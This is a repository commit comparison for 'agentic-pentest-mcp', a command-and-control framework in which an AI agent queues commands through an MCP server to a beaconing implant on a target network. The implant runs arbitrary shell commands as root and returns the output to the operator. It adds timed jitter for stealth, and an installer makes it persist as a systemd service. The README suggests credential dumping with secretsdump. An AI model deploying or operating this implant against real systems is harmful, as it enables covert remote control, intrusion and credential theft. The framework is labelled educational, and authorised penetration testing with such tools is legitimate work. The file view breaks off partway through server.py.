Compare commits
21
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a016e05825 | ||
|
|
93d860e906 | ||
|
|
bf414cb1ef | ||
|
|
1cb5597932 | ||
|
|
4e83728b45 | ||
|
|
afbb7a1595 | ||
|
|
894881aa10 | ||
|
|
c6167b8107 | ||
|
|
631beaaed2 | ||
|
|
5deb059439 | ||
|
|
12267adce1 | ||
|
|
e8797418c6 | ||
|
|
a82bc6fd68 | ||
|
|
6daeae1653 | ||
|
|
a9cfec0b1a | ||
|
|
89325b054d | ||
|
|
ed0e58af7c | ||
|
|
cc6aae0122 | ||
|
|
a1bb028001 | ||
|
|
0b1f34c585 | ||
|
|
cc1c80d7bf |
No files matched your search
+16
@@ -0,0 +1,16 @@
|
|||||||
|
# Log files (timestamped)
|
||||||
|
server_*.log
|
||||||
|
implant_*.log
|
||||||
|
|
||||||
|
# Old log files
|
||||||
|
server.log
|
||||||
|
implant.log
|
||||||
|
|
||||||
|
# Python artifacts
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
*.pyo
|
||||||
|
|
||||||
|
# Virtual environment
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
@@ -1,3 +1,91 @@
|
|||||||
# agentic-pentest-mcp
|
# Agentic Pentest MCP
|
||||||
|
|
||||||
Agentic pentesting MCP server with implant communication
|
*For educational/testing purposes only.*
|
||||||
|
|
||||||
|
Pentest networks with a local agent!
|
||||||
|
|
||||||
|
This is an **MCP (Model Context Protocol) server** paired with a beaconing implant. The server queues commands from your AI agent, and the implant on the target network periodically checks in to pick up and execute them.
|
||||||
|
|
||||||
|
## Quick Setup
|
||||||
|
|
||||||
|
1. Start a fresh Debian 13 server
|
||||||
|
2. Clone this repo to the server: `git clone https://github.com/creinky/MC2P-Implant.git`
|
||||||
|
3. On the server run `setup.sh` in the directory you cloned to
|
||||||
|
4. Connect your agent to the MCP at `http://<mcp-server-ip>:8000/mcp` and enter your API key if set
|
||||||
|
5. Copy `imlpant.py` and `install_implant_service.sh` to your implant
|
||||||
|
6. On the implant run `install_implant_service.sh`
|
||||||
|
|
||||||
|
> **Optional:** Set an API key for authentication. On the server, export `MCP_API_KEY="your-key"` before starting. When installing the implant service, enter the same key when prompted.
|
||||||
|
|
||||||
|
*Tested and working with both the server and implant running Debian 13*
|
||||||
|
|
||||||
|
Custom Debian 13 implant image coming.
|
||||||
|
---
|
||||||
|
|
||||||
|
This agentic C2 framework utilizes a local model, an MCP server, and an implant that beacons to the MCP. You should set system instructions for your agent so it knows what to do when you ask it to run commands. Here are the system instructions I use:
|
||||||
|
|
||||||
|
```
|
||||||
|
You have access to an MCP server (mcp-name) that relays commands to implants on target networks. The implant executes actual pentest tools and returns results via a beacon cycle (~30 second intervals).
|
||||||
|
|
||||||
|
Architecture:
|
||||||
|
|
||||||
|
You → MCP Server (port 8000) → Command Queue → Implant beacons in (port 8001) → Executes → Returns Results
|
||||||
|
Commands are queued, not executed immediately. Results arrive on the next beacon cycle.
|
||||||
|
|
||||||
|
Standard Workflow:
|
||||||
|
|
||||||
|
Discover implants: Call list_implants() to see what's online and their last check-in time
|
||||||
|
Identify networks: For a new implant, call list_network_interfaces(implant_id) to discover its subnet(s)
|
||||||
|
Queue reconnaissance: Start with non-intrusive scans (ping sweeps, service enumeration) before active exploitation
|
||||||
|
Retrieve results: Use get_result(result_id) after queuing commands; poll if needed as results arrive on beacon cycle
|
||||||
|
Analyze and iterate: Interpret results, identify targets/vulnerabilities, queue follow-up commands
|
||||||
|
|
||||||
|
Tool Usage Guidelines:
|
||||||
|
|
||||||
|
nmap_scan: Always specify appropriate flags. Start with -sn (ping sweep) or -sV -p common before full scans
|
||||||
|
run_command: Use for ad-hoc commands not covered by dedicated tools. Be precise and safe
|
||||||
|
get_result: If result is still pending, wait and retry on next interaction
|
||||||
|
|
||||||
|
Safety Considerations:
|
||||||
|
|
||||||
|
Confirm destructive or noisy operations with the user before queuing
|
||||||
|
Prefer stealthy enumeration over aggressive scanning unless instructed otherwise
|
||||||
|
Track what you've already scanned to avoid redundant work across sessions
|
||||||
|
|
||||||
|
When Starting Fresh (No Prior Context):
|
||||||
|
|
||||||
|
List implants and check their status/last seen time
|
||||||
|
Ask the user which implant(s) to focus on if multiple are online
|
||||||
|
Discover network topology via interface listing before scanning
|
||||||
|
Begin with reconnaissance, not exploitation, unless explicitly directed
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Available Tools
|
||||||
|
|
||||||
|
These are the commands your agent can call through the MCP:
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
|------|-------------|
|
||||||
|
| `nmap_scan` | Queue an nmap network scan (target, scan type, ports) |
|
||||||
|
| `list_network_interfaces` | List network interfaces on an implant |
|
||||||
|
| `run_command` | Execute a shell command on an implant |
|
||||||
|
| `impacket` | Run Impacket tools (secretsdump, smbclient, wmiexec, etc.) |
|
||||||
|
| `get_result` | Retrieve results of a queued command by request ID |
|
||||||
|
| `list_implants` | Show all registered implants and their status |
|
||||||
|
| `server_status` | Check MCP server configuration and status |
|
||||||
|
|
||||||
|
Example prompts that work:
|
||||||
|
- "Scan the network implant X is on and report results"
|
||||||
|
- "Find all open ports on 192.168.1.50"
|
||||||
|
- "Run secretsdump against dc.example.com as admin"
|
||||||
|
- "What implants are currently online?"
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
The MCP does not have any tools installed; rather it defines tools that should be installed on the implant and looks for user input from the model to pass the commands onto the implant.
|
||||||
|
|
||||||
|
It is designed for the agent and MCP to be on the same network. **Port 8000** is for the agent to connect to the MCP and **port 8001** for the implant to beacon home, but can be configured however you like.
|
||||||
|
|
||||||
|
MCP and setup script are tested and working on Debian 13. The implant only needs python3 and the appropriate tools installed. The install script for the implant is to set the script up as a systemd service for autorun on startup.
|
||||||
+266
@@ -0,0 +1,266 @@
|
|||||||
|
"""
|
||||||
|
Agentic Penetration Testing Implant (Beaconing Architecture)
|
||||||
|
|
||||||
|
This implant runs on the target network and periodically beacons out to the MCP server
|
||||||
|
to check for pending commands. It executes commands locally and reports results back.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
export MCP_SERVER_URL="http://<mcp-server-ip>:8001"
|
||||||
|
python implant.py --id <unique-implant-id> --interval 30
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
import socket
|
||||||
|
import subprocess
|
||||||
|
import argparse
|
||||||
|
import random
|
||||||
|
import logging
|
||||||
|
from datetime import datetime
|
||||||
|
from urllib.request import urlopen, Request
|
||||||
|
from urllib.error import URLError
|
||||||
|
|
||||||
|
# Setup timestamped logging
|
||||||
|
log_filename = f"implant_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.log"
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format='%(asctime)s [%(levelname)s] %(message)s',
|
||||||
|
handlers=[
|
||||||
|
logging.FileHandler(log_filename),
|
||||||
|
logging.StreamHandler()
|
||||||
|
]
|
||||||
|
)
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def get_local_ip():
|
||||||
|
"""Get the local IP address of this host."""
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.connect(("8.8.8.8", 80))
|
||||||
|
ip = s.getsockname()[0]
|
||||||
|
s.close()
|
||||||
|
return ip
|
||||||
|
except Exception:
|
||||||
|
return "unknown"
|
||||||
|
|
||||||
|
|
||||||
|
def execute_nmap(target, scan_type="-sT", ports=None, output_format="normal"):
|
||||||
|
"""Execute an nmap scan and return results."""
|
||||||
|
cmd = ["nmap", scan_type]
|
||||||
|
|
||||||
|
if ports:
|
||||||
|
cmd.extend(["-p", ports])
|
||||||
|
|
||||||
|
if output_format == "xml":
|
||||||
|
cmd.append("-oX")
|
||||||
|
cmd.append("-")
|
||||||
|
elif output_format == "grepable":
|
||||||
|
cmd.append("-oG")
|
||||||
|
cmd.append("-")
|
||||||
|
|
||||||
|
cmd.append(target)
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=300
|
||||||
|
)
|
||||||
|
return {
|
||||||
|
"exit_code": result.returncode,
|
||||||
|
"output": result.stdout[:10000], # Truncate large outputs
|
||||||
|
"error": result.stderr[:1000] if result.stderr else None
|
||||||
|
}
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return {"exit_code": -1, "output": "", "error": "nmap scan timed out"}
|
||||||
|
except Exception as e:
|
||||||
|
return {"exit_code": -1, "output": "", "error": str(e)}
|
||||||
|
|
||||||
|
|
||||||
|
def list_interfaces():
|
||||||
|
"""List network interfaces and their configurations."""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
["ip", "addr"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=30
|
||||||
|
)
|
||||||
|
return {
|
||||||
|
"exit_code": result.returncode,
|
||||||
|
"output": result.stdout[:5000],
|
||||||
|
"error": result.stderr[:1000] if result.stderr else None
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
return {"exit_code": -1, "output": "", "error": str(e)}
|
||||||
|
|
||||||
|
|
||||||
|
def run_shell_command(command):
|
||||||
|
"""Execute a shell command and return results."""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
command,
|
||||||
|
shell=True,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=120
|
||||||
|
)
|
||||||
|
return {
|
||||||
|
"exit_code": result.returncode,
|
||||||
|
"output": result.stdout[:5000],
|
||||||
|
"error": result.stderr[:1000] if result.stderr else None
|
||||||
|
}
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return {"exit_code": -1, "output": "", "error": "Command timed out"}
|
||||||
|
except Exception as e:
|
||||||
|
return {"exit_code": -1, "output": "", "error": str(e)}
|
||||||
|
|
||||||
|
|
||||||
|
def is_business_hours():
|
||||||
|
"""Check if current time is within business hours (Mon-Fri 8AM-6PM local)."""
|
||||||
|
now = datetime.now()
|
||||||
|
# weekday() returns 0=Monday, 4=Friday
|
||||||
|
return now.weekday() < 5 and 8 <= now.hour < 18
|
||||||
|
|
||||||
|
|
||||||
|
def get_beacon_interval(base_interval):
|
||||||
|
"""Calculate beacon interval with jitter based on time of day.
|
||||||
|
|
||||||
|
Business hours: base interval ±10% jitter
|
||||||
|
Off-hours: 2x base interval ±30% jitter (less frequent, more stealthy)
|
||||||
|
"""
|
||||||
|
if is_business_hours():
|
||||||
|
# Shorter interval during business hours with small jitter
|
||||||
|
jitter = random.uniform(-0.1, 0.1) * base_interval
|
||||||
|
return max(5, int(base_interval + jitter))
|
||||||
|
else:
|
||||||
|
# Longer interval off-hours with larger jitter for stealth
|
||||||
|
extended = base_interval * 2
|
||||||
|
jitter = random.uniform(-0.3, 0.3) * extended
|
||||||
|
return max(10, int(extended + jitter))
|
||||||
|
|
||||||
|
|
||||||
|
def beacon(mcp_url, implant_id, api_key=None):
|
||||||
|
"""Send a check-in beacon to the MCP server and process any commands."""
|
||||||
|
try:
|
||||||
|
data = json.dumps({
|
||||||
|
"implant_id": implant_id,
|
||||||
|
"timestamp": time.time(),
|
||||||
|
"host_ip": get_local_ip()
|
||||||
|
}).encode()
|
||||||
|
|
||||||
|
headers = {"Content-Type": "application/json"}
|
||||||
|
if api_key:
|
||||||
|
headers["X-API-Key"] = api_key
|
||||||
|
|
||||||
|
req = Request(
|
||||||
|
f"{mcp_url}/check_in",
|
||||||
|
data=data,
|
||||||
|
headers=headers
|
||||||
|
)
|
||||||
|
|
||||||
|
with urlopen(req, timeout=10) as response:
|
||||||
|
body = json.loads(response.read().decode())
|
||||||
|
|
||||||
|
commands = body.get("commands", [])
|
||||||
|
if commands:
|
||||||
|
logger.info(f"[{implant_id}] Received {len(commands)} command(s)")
|
||||||
|
|
||||||
|
for cmd in commands:
|
||||||
|
request_id = cmd["request_id"]
|
||||||
|
cmd_type = cmd["type"]
|
||||||
|
params = cmd["params"]
|
||||||
|
|
||||||
|
logger.info(f" Executing {cmd_type} (request {request_id})")
|
||||||
|
|
||||||
|
# Execute the appropriate command
|
||||||
|
if cmd_type == "nmap_scan":
|
||||||
|
result = execute_nmap(
|
||||||
|
params.get("target"),
|
||||||
|
params.get("scan_type", "-sT"),
|
||||||
|
params.get("ports"),
|
||||||
|
params.get("output_format", "normal")
|
||||||
|
)
|
||||||
|
elif cmd_type == "list_interfaces":
|
||||||
|
result = list_interfaces()
|
||||||
|
elif cmd_type == "run_command":
|
||||||
|
result = run_shell_command(params.get("command"))
|
||||||
|
else:
|
||||||
|
result = {"error": f"Unknown command type: {cmd_type}"}
|
||||||
|
|
||||||
|
# Report result back
|
||||||
|
report_data = json.dumps({
|
||||||
|
"request_id": request_id,
|
||||||
|
"implant_id": implant_id,
|
||||||
|
"result": result
|
||||||
|
}).encode()
|
||||||
|
|
||||||
|
report_headers = {"Content-Type": "application/json"}
|
||||||
|
if api_key:
|
||||||
|
report_headers["X-API-Key"] = api_key
|
||||||
|
|
||||||
|
report_req = Request(
|
||||||
|
f"{mcp_url}/report_result",
|
||||||
|
data=report_data,
|
||||||
|
headers=report_headers
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with urlopen(report_req, timeout=10) as resp:
|
||||||
|
logger.info(f" Result reported for {request_id}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f" Failed to report result: {e}")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except URLError as e:
|
||||||
|
logger.error(f"[{implant_id}] Beacon failed: {e}")
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"[{implant_id}] Unexpected error: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="Agentic Pentest Implant")
|
||||||
|
parser.add_argument("--id", default=str(uuid.uuid4())[:8], help="Unique implant ID")
|
||||||
|
parser.add_argument("--interval", type=int, default=30, help="Base beacon interval in seconds")
|
||||||
|
parser.add_argument("--api-key", default=None, help="API key for server authentication")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
mcp_url = os.environ.get("MCP_SERVER_URL", "http://localhost:8001")
|
||||||
|
implant_id = args.id
|
||||||
|
api_key = args.api_key or os.environ.get("IMPLANT_API_KEY", None)
|
||||||
|
|
||||||
|
logger.info("=== Agentic Pentest Implant ===")
|
||||||
|
logger.info(f"Implant ID: {implant_id}")
|
||||||
|
logger.info(f"MCP Server: {mcp_url}")
|
||||||
|
logger.info(f"Base beacon interval: {args.interval}s (with time-aware jitter)")
|
||||||
|
if api_key:
|
||||||
|
logger.info(f"API Key: {'*' * len(api_key)}")
|
||||||
|
logger.info(f"Local IP: {get_local_ip()}")
|
||||||
|
logger.info("================================")
|
||||||
|
|
||||||
|
while True:
|
||||||
|
success = beacon(mcp_url, implant_id, api_key)
|
||||||
|
if not success:
|
||||||
|
logger.info("Retrying in 5 seconds...")
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
# Calculate next interval with jitter
|
||||||
|
next_interval = get_beacon_interval(args.interval)
|
||||||
|
bh_status = "business hours" if is_business_hours() else "off-hours"
|
||||||
|
logger.debug(f"Next beacon in {next_interval}s ({bh_status})")
|
||||||
|
|
||||||
|
# Sleep until next beacon
|
||||||
|
for _ in range(next_interval):
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
export IMPLANT_API_KEY="YOUR_KEY_HERE"
|
||||||
|
export MCP_SERVER_URL="http://MCP_SERVER_IP:MCP_SERVER_PORT"
|
||||||
|
python3 implant.py --id <implant-id> --interval 30
|
||||||
|
|
||||||
|
## OR (One-liner) ##
|
||||||
|
|
||||||
|
python3 implant.py --id <implant-id> --api-key "YOUR_KEY_HERE" --interval 30
|
||||||
Executable
+156
@@ -0,0 +1,156 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Agentic Pentest MCP - Implant Service Installer
|
||||||
|
# Configures the implant as a systemd service that starts on boot.
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
echo "=== Agentic Pentest MCP - Implant Service Setup ==="
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Check for Python 3
|
||||||
|
if ! command -v python3 &> /dev/null; then
|
||||||
|
echo "Error: python3 not found."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
PYTHON_VERSION=$(python3 --version | cut -d' ' -f2)
|
||||||
|
echo "Found Python $PYTHON_VERSION"
|
||||||
|
|
||||||
|
# Get script directory (where implant.py lives)
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "This will install the implant as a systemd service that starts on boot."
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Prompt for configuration
|
||||||
|
read -p "MCP Server IP/Hostname: " SERVER_HOST
|
||||||
|
read -p "MCP Server Port [8001]: " SERVER_PORT
|
||||||
|
SERVER_PORT=${SERVER_PORT:-8001}
|
||||||
|
read -p "Implant ID (leave blank for auto): " IMPLANT_ID
|
||||||
|
IMPLANT_ID=${IMPLANT_ID:-$(cat /proc/sys/kernel/random/uuid | cut -c1-8)}
|
||||||
|
read -p "Beacon Interval in seconds [30]: " INTERVAL
|
||||||
|
INTERVAL=${INTERVAL:-30}
|
||||||
|
|
||||||
|
# API key (optional)
|
||||||
|
read -sp "API Key (leave blank if none): " API_KEY
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
SERVER_URL="http://${SERVER_HOST}:${SERVER_PORT}"
|
||||||
|
|
||||||
|
# Test connection to MCP server
|
||||||
|
echo ""
|
||||||
|
echo "Testing connection to ${SERVER_URL} ..."
|
||||||
|
if command -v curl &> /dev/null; then
|
||||||
|
# Just check if we can connect, don't validate HTTP response (port 8001 has different endpoints)
|
||||||
|
if curl -s --connect-timeout 5 --max-time 10 "${SERVER_URL}/check_in" -X POST -H "Content-Type: application/json" -d '{"implant_id":"test-connectivity"}' > /dev/null 2>&1; then
|
||||||
|
echo "✓ Connected to MCP server successfully."
|
||||||
|
else
|
||||||
|
# Try a simple TCP connection test
|
||||||
|
if curl -s --connect-timeout 5 -o /dev/null "${SERVER_URL}" 2>/dev/null || python3 -c "import socket; s=socket.socket(); s.settimeout(5); s.connect(('$(echo $SERVER_HOST)', $(echo $SERVER_PORT))); s.close()" 2>/dev/null; then
|
||||||
|
echo "✓ TCP connection to MCP server successful."
|
||||||
|
else
|
||||||
|
echo "⚠ Could not reach MCP server at ${SERVER_URL}. Service will still be installed but implant may fail to beacon."
|
||||||
|
read -p "Continue anyway? [y/N] " CONTINUE
|
||||||
|
if [ "$CONTINUE" != "y" ] && [ "$CONTINUE" != "Y" ]; then
|
||||||
|
echo "Aborted."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
# Fallback to python socket test if curl isn't available
|
||||||
|
if python3 -c "import socket; s=socket.socket(); s.settimeout(5); s.connect(('$(echo $SERVER_HOST)', $(echo $SERVER_PORT))); s.close()" 2>/dev/null; then
|
||||||
|
echo "✓ TCP connection to MCP server successful."
|
||||||
|
else
|
||||||
|
echo "⚠ Could not reach MCP server at ${SERVER_URL}. Service will still be installed but implant may fail to beacon."
|
||||||
|
read -p "Continue anyway? [y/N] " CONTINUE
|
||||||
|
if [ "$CONTINUE" != "y" ] && [ "$CONTINUE" != "Y" ]; then
|
||||||
|
echo "Aborted."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check for common pentest tools
|
||||||
|
echo ""
|
||||||
|
echo "Checking installed pentest tools..."
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
TOOLS=(
|
||||||
|
"nmap:nmap"
|
||||||
|
"impacket:python3 -c 'import impacket' 2>/dev/null && echo ok || echo missing"
|
||||||
|
"hydra:hydra"
|
||||||
|
"john:john"
|
||||||
|
"hashcat:hashcat"
|
||||||
|
"sqlmap:sqlmap"
|
||||||
|
"nikto:nikto"
|
||||||
|
"dirb:dirb"
|
||||||
|
"gobuster:gobuster"
|
||||||
|
"ffuf:ffuf"
|
||||||
|
)
|
||||||
|
|
||||||
|
for tool in "${TOOLS[@]}"; do
|
||||||
|
NAME="${tool%%:*}"
|
||||||
|
CHECK="${tool##*:}"
|
||||||
|
|
||||||
|
if [ "$NAME" = "impacket" ]; then
|
||||||
|
if python3 -c 'import impacket' 2>/dev/null; then
|
||||||
|
echo "✓ $NAME: installed"
|
||||||
|
else
|
||||||
|
echo "✗ $NAME: not found"
|
||||||
|
fi
|
||||||
|
elif command -v "$CHECK" &> /dev/null; then
|
||||||
|
echo "✓ $NAME: installed ($(which $CHECK))"
|
||||||
|
else
|
||||||
|
echo "✗ $NAME: not found"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Build command-line arguments for the implant
|
||||||
|
CLI_ARGS="--id ${IMPLANT_ID} --interval ${INTERVAL}"
|
||||||
|
if [ -n "$API_KEY" ]; then
|
||||||
|
CLI_ARGS="$CLI_ARGS --api-key ${API_KEY}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create systemd service file
|
||||||
|
SERVICE_FILE="/etc/systemd/system/mcp-implant.service"
|
||||||
|
echo "Creating systemd service at $SERVICE_FILE ..."
|
||||||
|
|
||||||
|
cat > "$SERVICE_FILE" << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Agentic Pentest MCP Implant
|
||||||
|
After=network-online.target
|
||||||
|
Wants=network-online.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
ExecStart=/usr/bin/python3 ${SCRIPT_DIR}/implant.py ${CLI_ARGS}
|
||||||
|
Environment=MCP_SERVER_URL=${SERVER_URL}
|
||||||
|
Restart=always
|
||||||
|
RestartSec=10
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Reload systemd and enable/start the service
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable mcp-implant.service
|
||||||
|
systemctl start mcp-implant.service
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "=== Implant Service Installed ==="
|
||||||
|
echo ""
|
||||||
|
echo "Service: mcp-implant.service"
|
||||||
|
echo "Implant ID: ${IMPLANT_ID}"
|
||||||
|
echo "Server: ${SERVER_URL}"
|
||||||
|
echo "Interval: ${INTERVAL}s"
|
||||||
|
echo ""
|
||||||
|
echo "Useful commands:"
|
||||||
|
echo " systemctl status mcp-implant # Check status"
|
||||||
|
echo " journalctl -u mcp-implant # View logs"
|
||||||
|
echo " systemctl stop mcp-implant # Stop service"
|
||||||
|
echo " systemctl disable mcp-implant # Remove from boot"
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
fastmcp>=4.0.0
|
||||||
@@ -0,0 +1,378 @@
|
|||||||
|
"""
|
||||||
|
Agentic Penetration Testing MCP Server (Beaconing Architecture)
|
||||||
|
|
||||||
|
This MCP server maintains a command queue for each registered implant.
|
||||||
|
Implants beacon out periodically to check for pending commands and report results.
|
||||||
|
|
||||||
|
Architecture:
|
||||||
|
Agent -> MCP Client -> This Server (command queue) <- Implant beacons in
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
import random
|
||||||
|
import logging
|
||||||
|
from datetime import datetime
|
||||||
|
from collections import defaultdict, deque
|
||||||
|
from fastmcp import FastMCP
|
||||||
|
|
||||||
|
# Setup timestamped logging
|
||||||
|
log_filename = f"server_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.log"
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format='%(asctime)s [%(levelname)s] %(message)s',
|
||||||
|
handlers=[
|
||||||
|
logging.FileHandler(log_filename),
|
||||||
|
logging.StreamHandler()
|
||||||
|
]
|
||||||
|
)
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
IMPLANT_URL = os.environ.get("IMPLANT_URL", "http://localhost:9000")
|
||||||
|
BEACON_TIMEOUT = 300 # Seconds before an implant is considered offline (5 min)
|
||||||
|
API_KEY = os.environ.get("IMPLANT_API_KEY", None) # Optional API key for auth
|
||||||
|
|
||||||
|
# In-memory command queue and implant registry
|
||||||
|
implants = {} # implant_id -> {"last_seen": timestamp, "status": str}
|
||||||
|
command_queue = defaultdict(deque) # implant_id -> deque of commands
|
||||||
|
results = {} # request_id -> result data
|
||||||
|
|
||||||
|
|
||||||
|
def register_implant(implant_id: str):
|
||||||
|
"""Register or update an implant's last-seen time."""
|
||||||
|
implants[implant_id] = {
|
||||||
|
"last_seen": time.time(),
|
||||||
|
"status": "online"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def get_pending_commands(implant_id: str) -> list:
|
||||||
|
"""Get all pending commands for an implant."""
|
||||||
|
return list(command_queue[implant_id])
|
||||||
|
|
||||||
|
|
||||||
|
def queue_command(implant_id: str, command_type: str, params: dict) -> str:
|
||||||
|
"""Queue a command for an implant and return request ID."""
|
||||||
|
request_id = str(uuid.uuid4())[:8]
|
||||||
|
command = {
|
||||||
|
"request_id": request_id,
|
||||||
|
"type": command_type,
|
||||||
|
"params": params,
|
||||||
|
"queued_at": time.time()
|
||||||
|
}
|
||||||
|
command_queue[implant_id].append(command)
|
||||||
|
return request_id
|
||||||
|
|
||||||
|
|
||||||
|
def store_result(request_id: str, result: dict):
|
||||||
|
"""Store the result of a completed command."""
|
||||||
|
results[request_id] = {
|
||||||
|
"result": result,
|
||||||
|
"completed_at": time.time()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Create MCP server
|
||||||
|
server = FastMCP("agentic-pentest-mcp")
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def nmap_scan(target: str, scan_type: str = "-sT", ports: str = None, output_format: str = "normal") -> dict:
|
||||||
|
"""
|
||||||
|
Queue an nmap network scan on a registered implant.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target: Target IP address or hostname to scan
|
||||||
|
scan_type: Nmap scan type (default: -sT TCP connect scan)
|
||||||
|
Options: -sS (SYN), -sT (TCP), -sU (UDP), -sV (version detection)
|
||||||
|
ports: Port specification (e.g., "80,443" or "1-1024"). Default: top 1000 ports
|
||||||
|
output_format: Output format (normal, xml, grepable). Default: normal
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with request_id to track the scan status
|
||||||
|
"""
|
||||||
|
# Find first online implant
|
||||||
|
implant_id = None
|
||||||
|
for iid, info in implants.items():
|
||||||
|
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
|
||||||
|
implant_id = iid
|
||||||
|
break
|
||||||
|
|
||||||
|
if not implant_id:
|
||||||
|
return {"error": "No online implants available"}
|
||||||
|
|
||||||
|
params = {
|
||||||
|
"target": target,
|
||||||
|
"scan_type": scan_type,
|
||||||
|
"ports": ports,
|
||||||
|
"output_format": output_format
|
||||||
|
}
|
||||||
|
|
||||||
|
request_id = queue_command(implant_id, "nmap_scan", params)
|
||||||
|
return {
|
||||||
|
"request_id": request_id,
|
||||||
|
"implant_id": implant_id,
|
||||||
|
"status": "queued",
|
||||||
|
"message": f"Scan queued for target {target}"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def list_network_interfaces(implant_id: str = None) -> dict:
|
||||||
|
"""
|
||||||
|
Queue a request to list network interfaces on an implant.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
implant_id: Specific implant ID (optional, uses first online if not specified)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with request_id to track the request status
|
||||||
|
"""
|
||||||
|
if not implant_id:
|
||||||
|
for iid, info in implants.items():
|
||||||
|
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
|
||||||
|
implant_id = iid
|
||||||
|
break
|
||||||
|
|
||||||
|
if not implant_id:
|
||||||
|
return {"error": "No online implants available"}
|
||||||
|
|
||||||
|
request_id = queue_command(implant_id, "list_interfaces", {})
|
||||||
|
return {
|
||||||
|
"request_id": request_id,
|
||||||
|
"implant_id": implant_id,
|
||||||
|
"status": "queued"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
def run_command(command: str, implant_id: str = None) -> dict:
|
||||||
|
"""
|
||||||
|
Queue a shell command to execute on an implant. Use with caution.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
command: Shell command to execute on the implant
|
||||||
|
implant_id: Specific implant ID (optional, uses first online if not specified)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with request_id to track the command status
|
||||||
|
"""
|
||||||
|
if not implant_id:
|
||||||
|
for iid, info in implants.items():
|
||||||
|
if time.time() - info["last_seen"] < BEACON_TIMEOUT:
|
||||||
|
implant_id = iid
|
||||||
|
break
|
||||||
|
|
||||||
|
if not implant_id:
|
||||||
|
return {"error": "No online implants available"}
|
||||||
|
|
||||||
|
request_id = queue_command(implant_id, "run_command", {"command": command})
|
||||||
|
return {
